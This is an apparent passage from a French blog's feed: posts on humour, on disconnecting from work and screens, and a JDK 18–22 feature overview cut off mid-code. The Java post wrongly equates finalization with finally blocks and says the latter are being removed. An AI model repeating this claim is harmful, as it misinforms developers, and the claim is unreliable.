&lt;p&gt;Si l&amp;rsquo;on prend tout ça au premier degré, au pied de la lettre, avec la gravité « qui va bien », on finira sous antidépresseurs. &lt;/p&gt;
&lt;p&gt;— Chérie, y a plus de soma ?&lt;br&gt;
— Non mon chéri, il va falloir faire autrement. &lt;/p&gt;
&lt;p&gt;Use et abuse du second degré. Il sera ton bouclier anti-déprime. Alors, &lt;strong&gt;je dis des conneries&lt;/strong&gt;. Sans me prendre au sérieux. Pas tout le temps. Suffisamment pour que la vie soit supportable quand on a des moments de mou. On vanne ses amis, on dit des blagues parfois foireuses, on détourne une situation dramatique avec une pirouette humoristique. &lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas minimiser les problèmes, c&amp;rsquo;est parfois les rendre juste… vivables. C&amp;rsquo;est une forme de résistance — &lt;em&gt;we are legion&lt;/em&gt;. Dire des conneries, c&amp;rsquo;est refuser de se laisser abattre par la gravité de ce qui nous entoure et ce, même si l&amp;rsquo;on a finalement &lt;em&gt;le cul dans le beurre&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai grandi avec IRC, les premiers forums, les newsgroups. À l&amp;rsquo;époque, internet était un terrain de jeu où on pouvait se permettre d&amp;rsquo;être cons, de faire des blagues pas toujours fines, de se chamailler pour des trucs sans importance. À l&amp;rsquo;aube des réseaux sociaux, ils étaient finalement un terrain de jeu pour vieux cons où le &lt;em&gt;pseudonimat&lt;/em&gt; ne posait pas de porblème (si oui, &lt;code&gt;/kick pseudo&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, les réseaux sociaux sont parfois toxiques. Et pour qu&amp;rsquo;ils ne le soient pas, il faut se rappeler leur fonction essentielle : &lt;strong&gt;permettre d&amp;rsquo;évacuer la pression par l&amp;rsquo;humour&lt;/strong&gt;. Je fais donc partie de ces « vieux » qui n&amp;rsquo;écrivent (quasi) que des conneries sur les réseaux sociaux. Ne pas se prendre au sérieux &lt;em&gt;remember&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Je vanne aussi mes amis et mes amies, c&amp;rsquo;est une manière de leur dire que l&amp;rsquo;on est suffisament à l&amp;rsquo;aise avec elle ou lui, que l&amp;rsquo;on se connait suffisament, que l&amp;rsquo;on comprend nos codes : &lt;strong&gt;vanner quelqu&amp;rsquo;un, c&amp;rsquo;est lui montrer qu&amp;rsquo;on l&amp;rsquo;aime&lt;/strong&gt;. C&amp;rsquo;est leur dire qu&amp;rsquo;ils ou elles sont suffisament importantes pour que l&amp;rsquo;on prenne le temps de les charier. &lt;/p&gt;
&lt;p&gt;Attention, &lt;em&gt;c&amp;rsquo;est un art&lt;/em&gt; : &lt;strong&gt;rigoler de tout sans blesser&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="2014-01-08-bienveillance.html"&gt;Avec bienveillance&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pas de méchanceté gratuite, on peut tout dire mais pas n&amp;rsquo;importe comment ni n&amp;rsquo;importe quand. « Rigoler de tout » et « se moquer de tout et de tout le monde », ça n&amp;rsquo;a rien à voir. Rigoler de tout, c&amp;rsquo;est avoir assez de recul pour voir l&amp;rsquo;absurdité de nos vies, de nos petits drames, de nos grandes angoisses. C&amp;rsquo;est accepter qu&amp;rsquo;on soit tous un peu ridicules et que c&amp;rsquo;est pas grave. Se moquer de tout le monde, c&amp;rsquo;est juste être un connard.&lt;/p&gt;
&lt;p&gt;Je pensais intituler ce billet &lt;strong&gt;on peut dire des conneries&lt;/strong&gt;, mais je préfère &lt;strong&gt;il faut dire des conneries&lt;/strong&gt;. Pas tout le temps, pas n&amp;rsquo;importe comment, mais il faut le faire.&lt;/p&gt;
&lt;p&gt;Parce que c&amp;rsquo;est ce qui nous permet de rester humains dans un monde qui devient de plus en plus inhumain.&lt;/p&gt;
&lt;p&gt;Parce que c&amp;rsquo;est ce qui nous permet de garder le lien avec nos amis, même quand tout part en vrille autour de nous.&lt;/p&gt;
&lt;p&gt;Parce que c&amp;rsquo;est ce qui nous permet de faire face aux difficultés sans sombrer dans la déprime ou la résignation.&lt;/p&gt;
&lt;p&gt;Alors allez-y, dites des conneries. Mais dites-les bien.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://www.deviantart.com/octobrecrepusculaire/art/We-use-to-be-friend-132862575"&gt;DeviantArt · octobrecrepusculaire&lt;/a&gt;. Une yourte pour mes amis.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce billet est le premier billet écrit à l&amp;rsquo;aide d&amp;rsquo;un agent IAG. c&amp;rsquo;est bluffant et ça fait peur. Pour celleux qui ne savent pas ce qu&amp;rsquo;est un agent; je lui ai dit lit mes anciens billets (il en a lu 5, 6 seulement) pour avoir le ton et crée un billet qui parle de « ça » (et je lui ai donné 8 items dont je voulais parler). Il a créé le fichier et a mis de l&amp;rsquo;ordre. J&amp;rsquo;ai ensuite retouché et réécrit.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le droit à la déconnexion</title><link href="http://blog.namok.be/2025-03-25-deconnexion.html" rel="alternate"/><published>2025-03-25T00:00:00+01:00</published><updated>2025-03-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-03-25:/2025-03-25-deconnexion.html</id><summary type="html">Déconnexion professionnelle ou déconnexion des écrans ?</summary><content type="html">&lt;p&gt;&lt;img alt="" src="images/kevin-garden-phone-men.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Depuis que nous avons choisi d&amp;rsquo;être hyper-connectés — parce que, oui, nous l&amp;rsquo;avons choisi — on ne parle plus que de &lt;strong&gt;droit à la déconnexion&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est très bien d&amp;rsquo;en parler parce que nous ne prenons pas la &lt;em&gt;bonne direction&lt;/em&gt;. Être hyper-connecté c&amp;rsquo;est être connecté aux réseaux, aux mails, aux messages et, quoi que l&amp;rsquo;on puisse dire, ça nous déconnecte des autres et de la nature. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je suis malheureusement dans le cas. Je ressens parfois un manque de contact même au sein de la famille.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Par contre, si l&amp;rsquo;on ne distingue pas &lt;strong&gt;déconnexion professionnelle&lt;/strong&gt; et &lt;strong&gt;déconnexion des écrans&lt;/strong&gt; alors nous faisons un bel amalgame avec deux choses bien différentes. &lt;/p&gt;
&lt;p&gt;La &lt;strong&gt;déconnexion professionnelle&lt;/strong&gt; est simplement le fait d&amp;rsquo;avoir un moment pendant lequel nous travaillons et un moment pendant lequel nous ne travaillons pas.   &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Facile.&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;En fonction de mon travail, je choisi — et parfois, il faudra batailler pour — des moments pendant lesquels je ne travaille pas. Si je suis ouvrier maçon par exemple ou, plus généralement, si je pointe, ce sera &lt;em&gt;après ma journée&lt;/em&gt;. Mes heures de prestation sont clairement définies et quand &lt;em&gt;ma journée est faite&lt;/em&gt;, je n&amp;rsquo;ai plus de comptes à rendre à mon employeur ou mon employeuse. Si par contre, je suis cadre, en fonction de mes responsabilités et de mon contrat, je travaillerai sans doute encore un peu &lt;em&gt;après ma journée&lt;/em&gt; : répondre à quelques mails (dans le train), terminer la présentation du lendemain (après le souper)…&lt;/p&gt;
&lt;p&gt;Outre le travail à faire, il y a la communication avec les autres. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai tendance à dire que : &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;J&amp;rsquo;envoie un mail quand je veux et je le lis quand je veux. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="content/2021-04-11-envoyer-les-mails-pendant-les-heures-du-bureau-fausse-bonne-idee.html"&gt;Envoyer les mails pendant les heures de bureau, fausse bonne idée.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Le « quand je veux » est dans les deux cas à prendre avec une rigueur professionnelle d&amp;rsquo;un bon parent de famille. &lt;/p&gt;
&lt;p&gt;Bien sûr que je ne vais pas laisser passer plusieurs jours ouvrables avant de lire mes mails professionnels. Bien sûr aussi que je vais y répondre dans un délai raisonnable. &lt;/p&gt;
&lt;p&gt;Pour ce qui est de l&amp;rsquo;envoi, je n&amp;rsquo;ai aucune gêne à envoyer un mail à 3h du matin lorsque mon interlocuteur ou mon interlocutrice dort tout comme je n&amp;rsquo;ai pas de soucis de recevoir son mail à 6h du matin lorsque, c&amp;rsquo;est (enfin) moi qui dort. Je dois alors être au clair avec mes collègues que ce n&amp;rsquo;est pas parce que j&amp;rsquo;envoie un mail que j&amp;rsquo;attends une réponse dans l&amp;rsquo;heure et il doit être clair que ce n&amp;rsquo;est pas parce que j&amp;rsquo;envoie un mail en dehors des heures de bureau que je travaille plus. &lt;/p&gt;
&lt;p&gt;Le mail est asynchrone.   &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est comme ça depuis sa naissance et la nétiquette nous enseignait déjà qu&amp;rsquo;il ne fallait pas présumer des horaires de l&amp;rsquo;interlocuteur. Pour rappel, les mails s&amp;rsquo;échangeaient initialement — je réduis un tout petit peu — entre scientifiques n&amp;rsquo;étant pas d&amp;rsquo;office dans le même réseau horaire. &lt;/p&gt;
&lt;p&gt;&lt;a href="content/2016-12-19-bon-anniversaire-netiquette.html"&gt;Netiquette 2.0&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Même si la plupart des utilisateurs peuvent lire leur mail partout et tout le temps, ils ont des activités et dorment &amp;mdash; parfois pas aux mêmes moments que vous. Laissez leurs le temps de prendre connaissance de votre mail avant de croire qu&amp;rsquo;il n&amp;rsquo;est pas arrivé ou qu&amp;rsquo;ils ne veulent pas répondre.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne demande jamais d&amp;rsquo;accusé de réception et j&amp;rsquo;ignore toujours lorsqu&amp;rsquo;il y a une demande. Tu n&amp;rsquo;as pas besoin de savoir si j&amp;rsquo;ai reçu ton mail. &lt;/p&gt;
&lt;p&gt;Au delà du mail que certaines personnes trouvent &lt;em&gt;has been&lt;/em&gt; — et dire &lt;em&gt;has been&lt;/em&gt; &lt;strong&gt;est&lt;/strong&gt; &lt;em&gt;has been&lt;/em&gt; — il y a pléthore d&amp;rsquo;autres outils. Je conseille &lt;strong&gt;fortement&lt;/strong&gt; de distinguer les outils de communication professionnels et privés : &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Signal, Whatsapp, Messenger and co, c&amp;rsquo;est &lt;strong&gt;privé&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;Slack, Google chat, Teams, c&amp;rsquo;est &lt;strong&gt;professionnel&lt;/strong&gt;. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est cette distinction qui permet la déconnexion et c&amp;rsquo;est très simple. &lt;strong&gt;Ne recevez aucune notification de vos outils professionnels&lt;/strong&gt;. C&amp;rsquo;est inutile puisque pendant que vous travaillez, vous les consultez et… pendant que vous ne travaillez pas — on dit déconnecté aujourd&amp;rsquo;hui — vous ne les consultez pas. Si vous êtes dans la situation où vous avez un téléphone de travail… c&amp;rsquo;est simple, il suffit de l&amp;rsquo;éteindre. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je caricature peut être un peu, mais c&amp;rsquo;est l&amp;rsquo;idée.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ceci peut paraitre radical mais il en va de notre bien être au travail et de notre équilibre entre vie privée et vie professionnelle. De plus en plus d&amp;rsquo;entreprise fixent légalement ce cadre. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;La &lt;strong&gt;déconnexion des écrans&lt;/strong&gt; est une autre histoire dont tu es le héros puisque c&amp;rsquo;est toi et toi seul qui a la main la dessus bien que… &lt;/p&gt;
&lt;p&gt;Sans être alarmiste, il s&amp;rsquo;agit d&amp;rsquo;un désastre sanitaire c&amp;rsquo;est-à-dire que ça touche un grand nombre de personnes et affecte leur santé et peut, potentiellement, augmenter la mortalité : dépression, repli sur soi…&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.rtbf.be/article/le-desastre-sanitaire-des-ecrans-c-est-trop-facile-de-faire-porter-la-responsabilite-aux-seuls-parents-et-ados-11517081"&gt;Le désastre sanitaire des écrans : &amp;ldquo;C&amp;rsquo;est trop facile de faire porter la responsabilité aux seuls parents et ados&amp;rdquo;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se déconnecter des écrans est très difficile parce que notre smartphone est omniprésent et utilisé pour tout : écouter de la musique, consulter son agenda pour l&amp;rsquo;organisation familiale et personnelle, vérifier une information. Ces choses, je les fais quotidiennement — ou continuellement ? — et c&amp;rsquo;est du vivre ensemble. Je dois pouvoir continuer à le faire sans être sans cesse distrait par les réseaux sociaux, les jeux… et c&amp;rsquo;est envie incessante du &lt;em&gt;scroll infini&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, on constate qu&amp;rsquo;il y a moins d&amp;rsquo;interaction sur les reseaux et plus de « gavage » (comme une oie). &lt;/p&gt;
&lt;p&gt;Il est temps de se limiter si on ne veut pas devenir (encore un peu plus) abruti.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://usbeketrica.com/fr/article/le-pic-de-l-intelligence-humaine-est-il-derriere-nous"&gt;Le pic de l&amp;rsquo;intelligence humaine est-il derrière nous ?&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>Du JDK18 au JDK22</title><link href="http://blog.namok.be/2025-02-19-jdk18-jdk22.html" rel="alternate"/><published>2025-02-19T00:00:00+01:00</published><updated>2025-02-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-02-19:/2025-02-19-jdk18-jdk22.html</id><summary type="html">Les nouveautés des JDK18, JLK19, JDK20, JDK21 (LTS) et JDK22.</summary><content type="html">&lt;p&gt;&lt;img alt="image souliers rouges, bas de jambes avec bas en laine couleurs flsahs rouge orange et rose" src="/images/gratisography-leg-warmers-1170x780-cut.webp" title="image souliers rouges, bas de jambes avec bas en laine couleurs flsahs rouge orange et rose" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Je ne parlerai pas des &lt;em&gt;preview&lt;/em&gt; (ni des &lt;em&gt;second preview&lt;/em&gt;) ni d&amp;rsquo;&lt;em&gt;incubator&lt;/em&gt; car j&amp;rsquo;attendrai que les fonctionnalités arrivent dans le langage pour les présenter. &lt;/p&gt;
&lt;p&gt;Dans cette article, le JDK21 est la version &lt;em&gt;long term support&lt;/em&gt; qui suit le JDK 17. Pour rappel, il n&amp;rsquo;est pas attendu que les logiciels en production suivent le rythme de sortie du JDK, suivre les LTS est très bien (cfr &lt;a href="https://www.oracle.com/be/java/technologies/java-se-support-roadmap.html"&gt;roadmap oracle&lt;/a&gt;). &lt;/p&gt;
&lt;h2&gt;JDK 18&lt;/h2&gt;
&lt;h3&gt;charset&lt;/h3&gt;
&lt;p&gt;Le charset par défaut est UTF-8 [&lt;a href="https://openjdk.org/jeps/400"&gt;JEP 400&lt;/a&gt;]. &lt;/p&gt;
&lt;h3&gt;Simple web server&lt;/h3&gt;
&lt;p&gt;À l&amp;rsquo;instar d&amp;rsquo;autres langages, java propose un &lt;strong&gt;Simple Web Server&lt;/strong&gt; qui sert statiquement les pages du répertoires courant [&lt;a href="https://openjdk.org/jeps/408"&gt;JEP 408&lt;/a&gt;]. Ce web serveur est disponible &lt;em&gt;via&lt;/em&gt; la commande &lt;code&gt;jwebserver&lt;/code&gt; comme ceci : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;jwebserver&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8082&lt;/span&gt;

Binding&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;loopback&lt;span class="w"&gt; &lt;/span&gt;by&lt;span class="w"&gt; &lt;/span&gt;default.&lt;span class="w"&gt; &lt;/span&gt;For&lt;span class="w"&gt; &lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;interfaces&lt;span class="w"&gt; &lt;/span&gt;use&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-b 0.0.0.0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-b ::&amp;quot;&lt;/span&gt;.
Serving&lt;span class="w"&gt; &lt;/span&gt;/elsewhere&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;subdirectories&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8082&lt;/span&gt;
URL&lt;span class="w"&gt; &lt;/span&gt;http://127.0.0.1:8082/
&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;/févr./2025:11:35:35&lt;span class="w"&gt; &lt;/span&gt;+0100&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Javadoc&lt;/h3&gt;
&lt;p&gt;Ajout d&amp;rsquo;un &lt;em&gt;tag&lt;/em&gt; : &lt;code&gt;@snippet&lt;/code&gt;. Ce tag facilite l&amp;rsquo;introduction d&amp;rsquo;exemple de code dans la javadoc. &lt;/p&gt;
&lt;p&gt;Là où il fallait écrire &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * The following code shows how to use {@code Optional.isPresent}:&lt;/span&gt;
&lt;span class="cm"&gt; * &amp;lt;pre&amp;gt;{@code&lt;/span&gt;
&lt;span class="cm"&gt; * if (v.isPresent()) {&lt;/span&gt;
&lt;span class="cm"&gt; *     System.out.println(&amp;quot;v: &amp;quot; + v.get());&lt;/span&gt;
&lt;span class="cm"&gt; * }&lt;/span&gt;
&lt;span class="cm"&gt; * }&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;il est maintenant possible d&amp;rsquo;écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * The following code shows how to use {@code Optional.isPresent}:&lt;/span&gt;
&lt;span class="cm"&gt; * {@snippet :&lt;/span&gt;
&lt;span class="cm"&gt; * if (v.isPresent()) {&lt;/span&gt;
&lt;span class="cm"&gt; *     System.out.println(&amp;quot;v: &amp;quot; + v.get());&lt;/span&gt;
&lt;span class="cm"&gt; * }&lt;/span&gt;
&lt;span class="cm"&gt; * }&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;D&amp;rsquo;après la &lt;a href="https://openjdk.org/jeps/413"&gt;documentation de [JEP 413]&lt;/a&gt;, il est également possible de faire référence à un code dans la javadoc et de &lt;em&gt;baliser&lt;/em&gt; l&amp;rsquo;extrait de code grâce aux tags &lt;code&gt;@start region="example"&lt;/code&gt; et &lt;code&gt;@end&lt;/code&gt;. &lt;/p&gt;
&lt;h3&gt;Finalisation&lt;/h3&gt;
&lt;p&gt;La finalisation — &lt;em&gt;aka&lt;/em&gt; l&amp;rsquo;utilisation d&amp;rsquo;un bloc &lt;code&gt;finally&lt;/code&gt; — est proposée pour être retirée. Cette vielle structure est définitivement enterrée : &lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ObjectOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shapes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileNotFoundException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// complain to user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// notify user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// ignore ... any significant errors should already have been&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// reported via an IOException from the final flush.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;em&gt;(Source stackoverflow)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;btw&lt;/em&gt;, la lecture de la JEP le concernant est intéressante puisqu&amp;rsquo;elle nous rappelle comment les fichiers — en tout cas leur fermeture — étaient gérés avant le &lt;code&gt;try-ressources&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Voir &lt;a href="https://openjdk.org/jeps/421"&gt;JEP 421&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Éléments non abordés&lt;/strong&gt; : 
- [&lt;a href="https://openjdk.org/jeps/416"&gt;JEP 416&lt;/a&gt;], 
- [&lt;a href="https://openjdk.org/jeps/417"&gt;JEP 417&lt;/a&gt;] (Possibilité d&amp;rsquo;optimisation de calcul en utilisant de la vectorisation),
- [&lt;a href="https://openjdk.org/jeps/418"&gt;JEP 418&lt;/a&gt;] (Définit un SPI (&lt;em&gt;service-provider interface&lt;/em&gt;) pour la résolution de nom. La résolution de nom par défaut reste celle faites par l&amp;rsquo;hôte),&lt;/p&gt;
&lt;h2&gt;JDK 19, JDK 20&lt;/h2&gt;
&lt;p&gt;Ces versions n&amp;rsquo;apportent que des &lt;em&gt;previews&lt;/em&gt; et des &lt;em&gt;incubators&lt;/em&gt;, &lt;a href="https://openjdk.org/projects/jdk/19/"&gt;voir JDK 19&lt;/a&gt; et &lt;a href="https://openjdk.org/projects/jdk/20"&gt;voir JDK 20&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;JDK 21 (LTS &lt;em&gt;long term support&lt;/em&gt;)&lt;/h2&gt;
&lt;h3&gt;Introduction de &lt;code&gt;SequencedCollection&lt;/code&gt;, &lt;code&gt;SequencedSet&lt;/code&gt; et &lt;code&gt;SequencedMap&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Introduction de nouvelles interface dans la hiérarchie de &lt;code&gt;Collection&lt;/code&gt; pour uniformiser les opérations sur les &lt;strong&gt;collections ordonnées&lt;/strong&gt; (&lt;em&gt;ordonnée&lt;/em&gt; pas &lt;em&gt;triée&lt;/em&gt;). &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;interface &lt;code&gt;SequencedCollection&lt;/code&gt; ajoute des méthodes pour manipuler les extrémités de la collection : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;SequencedCollection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// new method&lt;/span&gt;
